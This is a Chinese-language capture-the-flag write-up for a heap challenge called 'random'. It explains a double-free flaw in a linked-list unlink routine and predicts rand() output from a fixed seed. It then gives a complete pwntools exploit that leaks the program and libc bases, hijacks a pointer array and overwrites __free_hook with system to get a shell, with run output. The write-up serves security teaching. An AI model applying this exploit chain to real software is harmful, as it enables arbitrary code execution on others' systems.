这题难点在于找到溢出点,找到溢出点之后就是正常的fastbin
题目,靶机的glibc版本是2.23。
源程序、相关文件下载:http://file.eonew.cn/ctf/pwn/random.zip 。
目录
溢出点
下面所有的symbols都是我自己加的,具体情况还请看IDA分析文件。
关键在于global_ptr
的解链操作是否正确。
run
void __fastcall run(int a1)
{
func_container *ptr; // [rsp+10h] [rbp-20h]
func_container *v2; // [rsp+18h] [rbp-18h]
func_container *v3; // [rsp+20h] [rbp-10h]
void (__fastcall *v4)(); // [rsp+28h] [rbp-8h]
if ( global_ptr )
{
ptr = global_ptr;
v3 = global_ptr;
do
{
while ( ptr->type != a1 )
{
v3 = ptr;
ptr = ptr->next;
if ( !ptr )
return;
}
v4 = ptr->func_ptr;
if ( ptr == global_ptr )
{
global_ptr = ptr->next;
v3 = global_ptr;
v2 = global_ptr;
}
else
{
v3->next = ptr->next;
v2 = ptr->next;
}
free(ptr);
(v4)(ptr);
ptr = v2;
}
while ( v2 );
}
}
原本程序是可以正常解链,但是一旦在add
函数中,选择了额外增加节点,那么解链就会出问题。
add
void __cdecl add()
{
char v0; // ST06_1
char v1; // ST07_1
signed int i; // [rsp+8h] [rbp-8h]
int v3; // [rsp+Ch] [rbp-4h]
puts("Do you want to add note?(Y/N)");
v0 = getchar();
getchar();
if ( v0 == 'Y' )
{
for ( i = 0; i <= 14; ++i )
{
if ( !notes[i].ptr )
{
puts("Input the size of the note:");
v3 = get_int();
if ( v3 > 0 && v3 <= 63 )
{
notes[i].size = v3;
notes[i].ptr = malloc(v3 + 1);
puts("Input the content of the note:");
input(notes[i].ptr, notes[i].size);
puts("success!");
puts("Do you want to add another note, tomorrow?(Y/N)");
v1 = getchar();
getchar();
if ( v1 == 'Y' )
set_run_func(add, 2);
}
return;
}
}
}
else
{
--unk_2030E0;
}
}
set_run_func
void __fastcall set_run_func(__int64 func_addr, int a2)
{
func_container *new_; // rax
new_ = calloc(1uLL, 24uLL);
new_->type = a2;
new_->func_ptr = func_addr;
new_->next = global_ptr;
global_ptr = new_;
}
建议:对于链表这种比较抽象的数据结构,画图是最适合的
画出图来之后,你就会发现add函数中,选择了额外增加节点,新节点直接插入global_ptr表头,因为程序是按照顺序存储来执行的,所以之后global_ptr指向的下一个节点,会一直保存在链表上,但是其实他已经被free了,所以我们可以利用double free
来做该题。
思路
- 泄露程序基地址
- 预测rand
- double free
- 劫持notes指针数组
- 任意地址读写
泄露程序基地址
main函数中的泄露点,栈上还残留这基地址信息,可以泄露程序基地址。
puts("Please input your name:");
read(0, name, 24uLL);
v3 = strdup(name);
srand(unk_203178);
set_run_func(sub_11D6, 1);
printf("How many days do you want to play this game, %s?\n", v3);
对应脚本:
sh.recvuntil('Please input your name:\n')
sh.send('a' * 8)
sh.recvuntil('a' * 8)
result = sh.recvuntil('?\n')[:-2]
image_base_addr = u64(result.ljust(8, '\0')) - 0xb90
log.success('image_base_addr: ' + hex(image_base_addr))
预测rand
种子是固定的,所以每次的随机数都是可预测的 。
prediction.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
int i, temp;
char *str[4] = {"add", "update", "delete", "view"};
srand(0);
for(i = 0; i < 50; i++)
{
temp = rand() % 4;
printf("%3d : %3d %10s\n", i + 1, temp, str[temp]);
}
return 0;
}
执行效果:
ex@ubuntu:~/test$ gcc prediction.c -o prediction
ex@ubuntu:~/test$ ./prediction
1 : 3 view
2 : 2 delete
3 : 1 update
4 : 3 view
5 : 1 update
6 : 3 view
7 : 2 delete
8 : 0 add
9 : 1 update
10 : 1 update
11 : 2 delete
12 : 3 view
13 : 2 delete
14 : 3 view
15 : 3 view
16 : 2 delete
17 : 0 add
18 : 2 delete
19 : 0 add
20 : 0 add
21 : 3 view
22 : 0 add
23 : 3 view
24 : 1 update
25 : 2 delete
26 : 2 delete
27 : 2 delete
28 : 3 view
29 : 3 view
30 : 3 view
31 : 1 update
32 : 2 delete
33 : 2 delete
34 : 2 delete
35 : 1 update
36 : 3 view
37 : 1 update
38 : 0 add
39 : 3 view
40 : 2 delete
41 : 1 update
42 : 1 update
43 : 1 update
44 : 3 view
45 : 0 add
46 : 1 update
47 : 2 delete
48 : 0 add
49 : 3 view
50 : 2 delete
double free
利用溢出点进行double Free。
# the first
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('8')
add(17, 'bbbb\n', True) # index 0
do_not(7)
# the second : run out of fastbins
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('7') # 8
# double free
do_not(7 + 2)
劫持notes指针数组
notes_offset = 0x203180
# the third
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('1') # 15
do_not(1)
# the fourth
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('2') # 16
do_not(1)
add(17, '\n', False) # index 1
# the fifth
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('1') # 18
add(17, p64(image_base_addr + notes_offset + 0x30) + '\n', False) # index 2
# the sixth
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('5') # 19
do_not(2)
add(0x21, '\n', False) # index 3 : fake_chunk->size
do_not(1)
add(0x21, '\n', False) # index 4
# the eighth
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('8') # 24
do_not(8)
# the nineth : set size
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('6') # 32
add(0x21, '\n', False) # index 5 : fake_chunk's next_chunk->size
do_not(4)
delete(0)
由于程序在run
函数之前是先free
的,所以我们不仅要构造fake_chunk
的size(为了绕过malloc
的检查),还要构造next_chunk
的size,以为了绕过free
的检查。
任意地址读写
当你完成劫持notes指针数组
之后,就相当于可以进行任意地址读写了,我是先读出puts.got
来泄露libc基地址,然后直接把__free_hook
改成system
来拿shell。
# the tenth
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('10') # 38
add(17, '\0' * 8 + '\n', False) # index 0
do_not(1)
update(0, p64(image_base_addr + elf.got['puts']) + '\n')
do_not(1)
result = view(4)
libc_base_addr = u64(result.ljust(8, '\0')) - libc.symbols['puts']
log.success('libc_base_addr: ' + hex(libc_base_addr))
update(0, p64(libc_base_addr + libc.symbols['__free_hook']) + '\n')
update(4, p64(libc_base_addr + libc.symbols['system']) + '\n')
update(1, '/bin/sh\0\n')
delete(1)
sh.interactive()
完整脚本
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
# context.log_level = "debug"
sh = process('./random')
elf = ELF('./random')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# context.log_level = "debug"
context.arch = "amd64"
# Create a temporary file for GDB debugging
try:
f = open('/tmp/pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
except Exception as e:
print(e)
def add(size, content, another_note):
sh.recvuntil('?(Y/N)\n')
sh.sendline('Y')
sh.recvuntil('Input the size of the note:\n')
sh.sendline(str(size))
sh.recvuntil('Input the content of the note:\n')
sh.send(content)
sh.recvuntil('Do you want to add another note, tomorrow?(Y/N)\n')
if(another_note):
sh.sendline('Y')
else:
sh.sendline('N')
def update(index, content):
sh.recvuntil('?(Y/N)\n')
sh.sendline('Y')
sh.recvuntil('Input the index of the note:\n')
sh.sendline(str(index))
sh.recvuntil('Input the new content of the note:\n')
sh.send(content)
def delete(index):
sh.recvuntil('?(Y/N)\n')
sh.sendline('Y')
sh.recvuntil('Input the index of the note:\n')
sh.sendline(str(index))
def view(index):
sh.recvuntil('?(Y/N)\n')
sh.sendline('Y')
sh.recvuntil('Input the index of the note:\n')
sh.sendline(str(index))
result = sh.recvuntil('\n')
return result[:-1]
def do_not(times):
for i in range(int(times)):
sh.recvuntil('?(Y/N)\n')
sh.sendline('N')
# pause()
sh.recvuntil('Please input your name:\n')
sh.send('a' * 8)
sh.recvuntil('a' * 8)
result = sh.recvuntil('?\n')[:-2]
image_base_addr = u64(result.ljust(8, '\0')) - 0xb90
log.success('image_base_addr: ' + hex(image_base_addr))
# How many days do you want to play this game
sh.sendline('35')
# the first
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('8')
add(17, 'bbbb\n', True) # index 0
do_not(7)
# the second : run out of fastbins
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('7') # 8
# double free
do_not(7 + 2)
notes_offset = 0x203180
# the third
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('1') # 15
do_not(1)
# the fourth
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('2') # 16
do_not(1)
add(17, '\n', False) # index 1
# the fifth
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('1') # 18
add(17, p64(image_base_addr + notes_offset + 0x30) + '\n', False) # index 2
# the sixth
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('5') # 19
do_not(2)
add(0x21, '\n', False) # index 3
do_not(1)
add(0x21, '\n', False) # index 4
# the eighth
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('8') # 24
do_not(8)
# the nineth : set size
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('6') # 32
add(0x21, '\n', False) # index 5
do_not(4)
delete(0)
# the tenth
sh.recvuntil('How many times do you want to play this game today?(0~10)\n')
sh.sendline('10') # 38
add(17, '\0' * 8 + '\n', False) # index 0
do_not(1)
update(0, p64(image_base_addr + elf.got['puts']) + '\n')
do_not(1)
result = view(4)
libc_base_addr = u64(result.ljust(8, '\0')) - libc.symbols['puts']
log.success('libc_base_addr: ' + hex(libc_base_addr))
update(0, p64(libc_base_addr + libc.symbols['__free_hook']) + '\n')
update(4, p64(libc_base_addr + libc.symbols['system']) + '\n')
update(1, '/bin/sh\0\n')
delete(1)
sh.interactive()
运行实例
ex@ubuntu:~/test$ ./exp.py
[+] Starting local process './random': pid 3350
[*] '/home/ex/test/random'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] image_base_addr: 0x55afdedd2000
[+] libc_base_addr: 0x7f145f894000
[*] Switching to interactive mode
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
总结
有些溢出点比较难以想象的时候,有时画图能更好的帮助我们理解。